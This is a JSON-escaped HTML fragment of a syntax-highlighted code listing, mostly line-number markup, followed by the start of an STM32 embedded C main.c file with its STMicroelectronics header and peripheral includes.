67\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 68\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 69\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 70\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 71\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 72\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 73\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 74\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 75\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 76\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 77\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 78\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 79\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 80\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 81\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 82\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 83\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 84\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 85\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 86\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 87\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 88\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 89\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 90\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 91\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 92\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 93\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 94\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 95\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 96\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 97\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 98\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 99\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e100\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e101\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e102\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e103\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e104\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e105\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e106\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e107\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e108\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e109\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e110\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e111\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e112\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e113\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e114\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e115\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e116\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e117\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e118\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e119\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e120\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e121\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e122\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e123\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e124\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e125\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e126\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e127\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e128\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e129\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e130\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e131\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e132\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e133\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e134\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e135\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e136\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e137\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e138\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e139\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e140\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e141\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e142\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e143\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e144\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e145\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e146\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e147\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e148\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e149\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e150\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e151\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e152\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e153\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e154\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e155\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e156\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e157\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e158\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e159\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e160\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e161\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e162\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e163\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e164\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e165\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e166\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e167\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e168\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e169\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e170\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e171\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e172\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e173\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e174\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e175\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e176\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e177\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e178\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e179\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e180\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e181\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e182\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e183\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e184\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e185\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e186\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e187\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e188\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e189\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e190\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e191\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e192\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e193\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e194\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e195\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e196\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e197\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e198\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e199\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e200\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e201\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e202\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e203\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e204\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e205\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e206\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e207\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e208\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e209\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e210\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e211\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e212\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e213\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e214\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e215\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e216\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e217\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e218\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e219\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e220\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e221\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e222\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e223\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e224\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e225\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e226\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e227\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e228\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e229\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e230\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e231\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e232\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e233\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e234\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e235\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e236\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e237\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e238\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e239\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e240\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e241\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e242\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e243\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e244\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e245\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e246\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e247\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e248\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e249\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e250\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e251\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e252\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e253\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e254\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e255\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e256\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e257\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e258\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e259\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e260\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e261\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e262\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e263\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e264\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e265\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e266\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e267\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e268\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e269\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e270\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e271\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e272\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e273\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e274\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e275\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e276\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e277\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e278\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e279\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e280\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e281\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e282\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e283\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e284\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e285\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e286\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e287\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e288\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e289\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e290\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e291\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e292\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e293\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e294\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e295\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e296\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e297\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e298\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e299\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e300\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e301\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e302\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e303\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e304\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e305\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e306\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e307\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e308\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e309\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e310\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e311\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e312\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e313\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e314\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e315\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e316\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e317\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e318\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e319\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e320\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e321\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e322\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e323\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e324\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e325\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e326\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e327\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e328\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e329\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e330\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e331\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e332\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e333\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e334\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e335\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e336\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e337\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e338\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e339\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e340\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e341\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e342\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e343\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e344\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e345\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e346\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e347\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e348\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e349\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e350\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e351\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e352\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e353\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e354\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e355\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e356\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e357\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e358\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e359\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e360\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e361\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e362\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e363\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e364\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e365\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e366\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e367\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e368\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e369\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e370\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e371\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e372\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e373\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e374\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e375\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e376\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e377\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e378\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e379\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e380\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e381\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e382\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e383\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e384\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e385\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e386\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e387\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e388\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e389\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e390\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e391\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e392\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e393\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e394\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e395\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e396\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e397\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e398\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e399\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e400\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e401\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e402\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e403\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e404\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e405\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e406\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e407\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e408\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e409\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e410\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e411\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e412\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e413\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e414\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e415\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e416\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e417\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e418\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e419\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e420\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e421\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e422\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e423\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e424\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e425\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e426\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e427\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e428\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e429\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e430\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e431\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e432\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e433\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e434\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e435\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e436\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e437\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e438\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e439\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e440\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e441\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e442\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e443\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e444\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e445\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e446\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e447\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e448\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e449\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e450\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e451\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e452\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e453\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e454\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN Header */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e ******************************************************************************\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @file : main.c\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief : Main program body\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e ******************************************************************************\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @attention\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e *\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * Copyright (c) 2023 STMicroelectronics.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * All rights reserved.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e *\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * This software is licensed under terms that can be found in the LICENSE file\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * in the root directory of this software component.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * If no LICENSE file comes with this software, it is provided AS-IS.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e *\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e ******************************************************************************\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END Header */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* Includes ------------------------------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;main.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;adc.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;tim.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;usart.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan 